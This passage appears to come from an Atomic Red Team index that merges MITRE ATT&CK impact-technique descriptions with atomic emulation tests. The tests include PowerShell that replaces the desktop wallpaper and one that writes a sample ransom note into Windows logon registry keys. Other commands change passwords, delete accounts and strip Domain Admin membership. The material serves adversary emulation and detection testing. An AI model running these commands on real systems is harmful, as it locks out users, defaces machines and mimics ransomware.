third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_detection: 'Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace x_mitre_version: '1.3' x_mitre_data_sources: - 'Sensor Health: Host Status' - 'Network Traffic: Network Traffic Flow' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01 created: '2020-03-02T20:08:03.691Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1498/002 external_id: T1498.002 - source_name: Cloudflare ReflectionDoS May 2017 description: Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019. url: https://blog.cloudflare.com/reflections-on-reflections/ - source_name: Cloudflare DNSamplficationDoS description: Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019. url: https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/ - source_name: Cloudflare NTPamplifciationDoS description: Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019. url: https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/ - source_name: Arbor AnnualDoSreport Jan 2018 description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019. url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf - source_name: Cloudflare Memcrashed Feb 2018 description: Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019. url: https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/ - source_name: Cisco DoSdetectNetflow description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1499.002: technique: modified: '2023-05-09T14:00:00.188Z' name: Service Exhaustion Flood description: |- Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood) Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: |- Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. Externally monitor the availability of services that may be targeted by an Endpoint DoS. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace x_mitre_version: '1.3' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Sensor Health: Host Status' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858 created: '2020-02-20T15:31:43.613Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1499/002 external_id: T1499.002 - source_name: Arbor SSLDoS April 2012 description: 'ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.' url: https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new - source_name: Cisco DoSdetectNetflow description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - source_name: Cloudflare HTTPflood description: Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019. url: https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/ - source_name: Arbor AnnualDoSreport Jan 2018 description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019. url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1491: technique: x_mitre_platforms: - Windows - IaaS - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b type: attack-pattern created: '2019-04-08T17:51:41.390Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1491 url: https://attack.mitre.org/techniques/T1491 modified: '2022-05-11T14:00:00.188Z' name: Defacement description: "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_detection: "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n" x_mitre_version: '1.3' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'File: File Creation' - 'Application Log: Application Log Content' - 'File: File Modification' x_mitre_impact_type: - Integrity x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1657: technique: modified: '2024-04-11T20:22:14.359Z' name: Financial Theft description: "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_contributors: - Blake Strom, Microsoft Threat Intelligence - Pawel Partyka, Microsoft Threat Intelligence - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Office 365 - SaaS - Google Workspace x_mitre_version: '1.1' x_mitre_data_sources: - 'Application Log: Application Log Content' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3 created: '2023-08-18T20:50:04.222Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1657 external_id: T1657 - source_name: VEC description: CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023. url: https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers. - source_name: Crowdstrike-leaks description: 'Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.' url: https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/ - source_name: Mandiant-leaks description: DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023. url: https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs - source_name: DOJ-DPRK Heist description: Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023. url: https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and - source_name: FBI-BEC description: FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023. url: https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view - source_name: FBI-ransomware description: FBI. (n.d.). Ransomware. Retrieved August 18, 2023. url: https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf - source_name: AP-NotPetya description: FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023. url: https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2 - source_name: Internet crime report 2022 description: IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023. url: https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf - source_name: BBC-Ronin description: 'Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.' url: https://www.bbc.com/news/technology-60933174 - source_name: wired-pig butchering description: Lily Hay Newman. (n.d.). ‘Pig Butchering’ Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023. url: https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/ - source_name: NYT-Colonial description: Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023. url: https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1491.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103 created: '2020-02-20T14:31:34.778Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1491.001 url: https://attack.mitre.org/techniques/T1491/001 - source_name: Novetta Blockbuster Destructive Malware url: https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf description: 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.' - source_name: Novetta Blockbuster url: https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf description: 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.' x_mitre_deprecated: false revoked: false description: 'An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary''s presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)' modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Defacement: Internal Defacement' x_mitre_detection: Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Creation' - 'Network Traffic: Network Traffic Content' - 'Application Log: Application Log Content' - 'File: File Modification' x_mitre_impact_type: - Integrity x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1491.001 atomic_tests: - name: Replace Desktop Wallpaper auto_generated_guid: 30558d53-9d76-41c4-9267-a7bd5184bed3 description: 'Downloads an image from a URL and sets it as the desktop wallpaper. ' supported_platforms: - windows input_arguments: url_of_wallpaper: description: URL pointing to the image file you wish to set as wallpaper type: url default: https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png pointer_to_orginal_wallpaper: description: Full path to where a file containing the original wallpaper location will be saved type: string default: "$env:TEMP\\T1491.001-OrginalWallpaperLocation" wallpaper_location: description: Full path to where the downloaded wallpaper image will be saved type: string default: "$env:TEMP\\T1491.001-newWallpaper.png" executor: command: "$url = \"#{url_of_wallpaper}\"\n$imgLocation = \"#{wallpaper_location}\"\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\Control Panel\\Desktop\\' -Name WallPaper).WallPaper\n$orgWallpaper | Out-File -FilePath \"#{pointer_to_orginal_wallpaper}\"\n$updateWallpapercode = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n public class Wallpaper{ \n [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n \n public static void SetWallpaper(string thePath){ \n SystemParametersInfo(20,0,thePath,3); \n }\n }\n} \n'@\n$wc = New-Object System.Net.WebClient \ntry{ \ \n $wc.DownloadFile($url, $imgLocation)\n add-type $updateWallpapercode \n [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \ncatch [System.Net.WebException]{ \ \n Write-Host(\"Cannot download $url\") \n add-type $updateWallpapercode \n [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \nfinally{ \n \ $wc.Dispose() \n}\n" cleanup_command: "$updateWallpapercode = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n public class Wallpaper{ \n [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n \n \ public static void SetWallpaper(string thePath){ \n SystemParametersInfo(20,0,thePath,3); \n }\n }\n} \n'@\nif (Test-Path -Path #{pointer_to_orginal_wallpaper} -PathType Leaf) {\n $orgImg = Get-Content -Path \"#{pointer_to_orginal_wallpaper}\"\n \ add-type $updateWallpapercode \n [Win32.Wallpaper]::SetWallpaper($orgImg)\n}\nRemove-Item \"#{pointer_to_orginal_wallpaper}\" -ErrorAction Ignore\nRemove-Item \"#{wallpaper_location}\" -ErrorAction Ignore\n" name: powershell - name: Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message auto_generated_guid: ffcbfaab-c9ff-470b-928c-f086b326089b description: "Display ransom message to users at system start-up by configuring registry keys HKLM\\SOFTWARE\\Micosoft\\Windows\\CurrentVersion\\Policies\\System\\LegalNoticeCaption and HKLM\\SOFTWARE\\Micosoft\\Windows\\CurrentVersion\\Policies\\System\\LegalNoticeText.\n\n[SynAck Ransomware](https://www.trendmicro.com/vinfo/es/security/news/cybercrime-and-digital-threats/synack-ransomware-leverages-process-doppelg-nging-for-evasion-and-infection), \n[Grief Ransomware](https://redcanary.com/blog/grief-ransomware/), \n[Maze Ransomware](https://cyware.com/research-and-analysis/maze-ransomware-a-deadly-combination-of-data-theft-and-encryption-to-target-us-organizations-8f27),\n[Pysa Ransomware](https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-destructive-pysa-ransomware),\n[Spook Ransomware](https://community.fortinet.com/t5/FortiEDR/Threat-Coverage-How-FortiEDR-protects-against-Spook-Ransomware/ta-p/204226),\n[DopplePaymer Ransomware](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Dopplepaymer&threatId=-2147221958),\n[Reedemer Ransomware](https://blog.cyble.com/2022/07/20/redeemer-ransomware-back-action/),\n[Kangaroo Ransomware](https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/)\n" supported_platforms: - windows input_arguments: legal_notice_caption: description: Title of ransom message type: string default: PYSA legal_notice_text: description: Body of ransom message type: string default: Hi Company, every byte on any types of your devices was encrypted. Don't try to use backups because it were encrypted too. To get all your data contact us:xxxx@onionmail.org executor: command: "$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption).LegalNoticeCaption\n$orgLegalNoticeText = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText).LegalNoticeText\n$newLegalNoticeCaption = \"#{legal_notice_caption}\"\n$newLegalNoticeText = \"#{legal_notice_text}\"\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force " cleanup_command: | Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $orgLegalNoticeCaption -Type String -Force Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $orgLegalNoticeText -Type String -Force name: powershell elevation_required: true T1565: technique: modified: '2024-02-02T17:18:39.004Z' name: Data Manipulation description: |- Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_deprecated: false x_mitre_detection: Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: OS API Execution' - 'Network Traffic: Network Traffic Content' - 'File: File Creation' - 'Network Traffic: Network Traffic Flow' - 'File: File Deletion' - 'File: File Modification' - 'File: File Metadata' x_mitre_impact_type: - Integrity type: attack-pattern id: attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931 created: '2020-03-02T14:19:22.609Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1565 external_id: T1565 - source_name: Sygnia Elephant Beetle Jan 2022 description: 'Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.' url: https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1531: technique: modified: '2023-05-09T14:00:00.188Z' name: Account Access Removal description: "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_contributors: - Hubert Mank x_mitre_deprecated: false x_mitre_detection: |- Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account: * Event ID 4723 - An attempt was made to change an account's password * Event ID 4724 - An attempt was made to reset an account's password * Event ID 4726 - A user account was deleted * Event ID 4740 - A user account was locked out Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Office 365 - SaaS x_mitre_version: '1.2' x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'User Account: User Account Modification' - 'User Account: User Account Deletion' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0 created: '2019-10-09T18:48:31.906Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1531 external_id: T1531 - source_name: CarbonBlack LockerGoga 2019 description: CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019. url: https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/ - source_name: Unit42 LockerGoga 2019 description: Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. url: https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1531 atomic_tests: - name: Change User Password - Windows auto_generated_guid: 1b99ef28-f83c-4ec5-8a08-1a56263a5bb2 description: | Changes the user password to hinder access attempts. Seen in use by LockerGoga. Upon execution, log into the user account "AtomicAdministrator" with the password "HuHuHUHoHo283283". supported_platforms: - windows input_arguments: user_account: description: User account whose password will be changed. type: string default: AtomicAdministrator new_user_password: description: Password to use if user account must be created first type: string default: User2ChangePW! new_password: description: New password for the specified account. type: string default: HuHuHUHoHo283283@dJD executor: command: | net user #{user_account} #{new_user_password} /add net.exe user #{user_account} #{new_password} cleanup_command: 'net.exe user #{user_account} /delete >nul 2>&1 ' name: command_prompt elevation_required: true - name: Delete User - Windows auto_generated_guid: f21a1d7d-a62f-442a-8c3a-2440d43b19e5 description: 'Deletes a user account to prevent access. Upon execution, run the command "net user" to verify that the new "AtomicUser" account was deleted. ' supported_platforms: - windows input_arguments: new_user_password: description: Password to use if user account must be created first type: string default: User2DeletePW! user_account: description: User account to be deleted. type: string default: AtomicUser executor: command: | net user #{user_account} #{new_user_password} /add net.exe user #{user_account} /delete name: command_prompt elevation_required: true - name: Remove Account From Domain Admin Group auto_generated_guid: 43f71395-6c37-498e-ab17-897d814a0947 description: 'This test will remove an account from the domain admins group ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Requires the Active Directory module for powershell to be installed. ' prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1} ' get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" ' input_arguments: super_user: description: Account used to run the execution command (must include domain). type: string default: domain\super_user super_pass: description: super_user account password. type: string default: password remove_user: description: Account to remove from domain admins. type: string default: remove_user executor: command: | $PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord if((Get-ADUser #{remove_user} -Properties memberof).memberof -like "CN=Domain Admins*"){ Remove-ADGroupMember -Identity "Domain Admins" 